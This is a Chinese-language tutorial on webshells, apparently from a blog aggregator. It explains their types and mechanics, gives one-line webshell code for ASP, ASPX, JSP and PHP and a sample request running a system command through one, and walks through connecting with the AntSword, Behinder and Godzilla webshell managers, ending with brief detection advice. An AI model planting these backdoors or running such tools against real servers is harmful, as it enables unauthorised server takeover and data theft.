WebShell分析

ops/2025/2/5 2:49:12/

一.WebShell基础

1.简介

  • 介绍:WebShell是一种黑客常用的恶意脚本,主要目的是通过在目标服务器上植入恶意代码,获得执行操作的权限。常见的WebShell编写语言包括:

    • ASP
    • JSP
    • PHP

2.特点

  1. 持久化控制

    • 上传WebShell后,黑客能够长期远程访问并控制服务器。这使得黑客能够在目标系统中保持长期存在,持续进行恶意活动。
  2. 权限提升

    • WebShell通常以Web服务器用户权限运行,这种权限是有限的。但是,黑客可以通过WebShell利用本地漏洞进行权限提升,从而获得更高的权限(例如Root权限)。权限提升后,黑客能够执行几乎任何操作,包括安装软件、修改系统设置、窃取数据等。
  3. 隐蔽性强

    • WebShell可以与正常网页文件混在一起,利用合法的HTTP请求进行通信,因此不容易被传统的安全防护机制检测到。由于通过80端口(HTTP)与外界通信,WebShell很难被防火墙或入侵检测系统(IDS)拦截。
    • WebShell的日志记录通常非常有限,通常只有在Web日志中才能看到数据提交的记录,系统日志中不会留下明显痕迹。

3.类型

  1. 按编程语言分类
    WebShell可以根据不同的脚本语言来分类,例如:

    • PHP木马
    • ASP木马
    • ASPX木马
    • JSP木马
  2. 按文件大小分类

    • 大马:功能全面,通常包含大量的恶意功能模块。
    • 小马:功能相对简单,通常只有基本的远程命令执行能力。
    • 一句话木马:以非常精简的代码实现恶意功能,通常仅为一行脚本。
  3. 按功能分类

    • 打包马:可以打包其他恶意工具,广泛用于后续攻击。
    • 拖库马:专门用于数据库导出,窃取敏感数据。
    • 内存马:以内存中的恶意脚本形式存在,减少磁盘写入,增加隐蔽性。

4.原理

  • 介绍:WebShell的核心恶意性在于它能够执行恶意指令或命令。通过精心设计的脚本,WebShell能够从客户端接收命令并在服务器端执行这些命令,最终达到控制服务器的目的。

    • ASP:

      <%eval request("cmd")%>
      
    • ASPX:

      <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
      
    • JSP:

      <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
      
    • PHP:

      <?php @eval($_GET['cmd']); ?>
      
  • 原理解析

    • 以PHP为例,PHP的一句话木马代码主要由两部分组成:

      1. 数据接收:WebShell通过$_GET​, $_POST​, 或 $_COOKIE​接收客户端发送的命令数据。
      2. 数据执行:接收到的命令通过eval()​函数执行。eval()​将传入的字符串当做PHP代码执行,这样就能执行任意命令。

5.使用

  1. 命令执行:通过浏览器发送特定请求,黑客能够控制服务器并执行系统命令。举个例子,黑客可以通过URL传递cmd​参数,执行系统命令:

    http://127.0.0.1/shell.php?cmd=system('ipconfig');
    

    PS:这种命令执行方式就相当于在目标服务器的命令提示符下运行ipconfig​,显示服务器的网络配置信息。

  2. 后台持久控制:WebShell可以持续在目标服务器上保持活动状态,允许攻击者反复访问并执行恶意操作。

6.防护与检测

  1. 文件上传检查:对上传文件进行严格的类型和内容验证,避免上传包含恶意代码的脚本文件。
  2. 代码审计:定期审查网站代码,查找可能的漏洞或可被滥用的脚本。
  3. 安全配置:确保Web服务器及其环境的安全配置正确,如关闭不必要的功能、权限最小化等。
  4. 日志分析与监控:定期检查Web日志和系统日志,发现异常请求或非法访问。

二.WebShell连接工具

1.蚁剑

  • 介绍:中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
A.下载

蚁剑分为加载器和核心模块两部分:

  1. 加载器下载地址:AntSword 加载器
  2. 核心模块下载地址:AntSword 核心模块
B.安装
  1. 将下载的加载器及核心模块解压,然后启动加载器里的AntSword.exe文件。
  2. 启动后点击初始化,选择核心模块文件夹
  3. 初始化完成后重新启动AntSword.exe即可使用中国蚁剑。
C.使用
  1. 在空白处单击右键,选择添加数据


  2. 填写URL地址和连接密码,填写完成后点击测试连接。

    • PS:连接密码就是一句话木马里用于传参的参数名。


  3. 添加完成后,选中添加的数据,右键单击选择要执行的操作。


2.冰蝎

  • 介绍:冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。
A.下载
  • 项目地址:Behinder_v4.1【t00ls专版】
B.安装
  • 冰蝎使用java开发,因此运行前需要有java环境,然后双击Behinder.jar​即可运行。
C.使用

冰蝎的WebShell只能使用冰蝎客户端进行连接,密码默认为:rebeyond

  1. 在空白处右键单击,选择新增


  2. 填写URL地址和连接密码,连接密码默认为 rebeyond​


  3. 双击添加的数据,即可对其进行管理。

3.哥斯拉

护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉”。

A.下载
  • 项目地址:v4.0.1-godzilla
B.安装
  • 哥斯拉使用Java开发,因此需要有Java环境才能运行,双击 godzilla.jar​ 运行软件。
C.使用
  1. 在左上角点击目标选择添加


  2. 填写数据,并点击测试连接


  3. 选择添加的数据,右键点击进入,选择要执行的操作



http://www.ppmy.cn/ops/155741.html

相关文章

基于开源AI智能名片2 + 1链动模式S2B2C商城小程序视角下的个人IP人设构建研究

摘要&#xff1a;本文深入探讨在开源AI智能名片2 1链动模式S2B2C商城小程序的应用场景下&#xff0c;个人IP人设构建的理论与实践。通过剖析个人IP人设定义中的“诉求”“特质”“可感知”三要素&#xff0c;结合该小程序特点&#xff0c;阐述其对个人IP打造的影响与推动作用&…

Node 服务器数据响应类型处理

一、设置不同的响应数据类型 在 Node.js 的 http 模块中&#xff0c;通过 res.writeHead 方法可以设置不同的响应头&#xff0c;以指定响应的数据类型。 1. 纯文本响应 对于纯文本响应&#xff0c;可以将 Content-Type 设置为 text/plain const http require("http&q…

【精选】基于数据挖掘的招聘信息分析与市场需求预测系统 职位分析、求职者趋势分析 职位匹配、人才趋势、市场需求分析数据挖掘技术 职位需求分析、人才市场趋势预测

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

go-zero学习笔记(三)

利用goctl生成rpc服务 编写proto文件 // 声明 proto 使用的语法版本 syntax "proto3";// proto 包名 package demoRpc;// golang 包名(可选) option go_package "./demo";// 如需为 .proto 文件添加注释&#xff0c;请使用 C/C 样式的 // 和 /* ... */…

数据分析系列--⑦RapidMiner模型评价(基于泰坦尼克号案例含数据集)

一、前提 二、模型评估 1.改造⑥ 2.Cross Validation算子说明 2.1Cross Validation 的作用 2.1.1 模型评估 2.1.2 减少过拟合 2.1.3 数据利用 2.2 Cross Validation 的工作原理 2.2.1 数据分割 2.2.2 迭代训练与测试 ​​​​​​​ 2.2.3 结果汇总 ​​​​​​​ …

浅谈Linux的发展

目录 1.Linux背景 1.1 发展史 UNIX发展的历史 1.2开源 1.3官网 1.4.企业应用现状 1.5.发行版本 1.6 os概念&#xff0c;定位 1.Linux背景 1.1 发展史 学习Linux系统编程&#xff0c;你可能要问Linux从哪里来&#xff1f;它是怎么发展的&#xff1f;在这里简要介绍Linux的发展史…

【C语言】指针详细解读1

1. 内存和地址 1.1 内存 在讲述内存之前&#xff0c;我们先拿生活中的例子类比一下&#xff1a; 假如我们要寻找酒店的一位朋友&#xff0c;首先我得知道以下一些信息&#xff1a;知道他是人&#xff0c;知道酒店名&#xff0c;知道酒店房间号。人就表示我们不能去找其他的东…

DeepSeek 介绍及对外国的影响

DeepSeek 简介 DeepSeek&#xff08;深度求索&#xff09;是一家专注实现 AGI&#xff08;人工通用智能&#xff09;的中国科技公司&#xff0c;2023 年成立&#xff0c;总部位于杭州&#xff0c;在北京设有研发中心。与多数聚焦具体应用&#xff08;如人脸识别、语音助手&…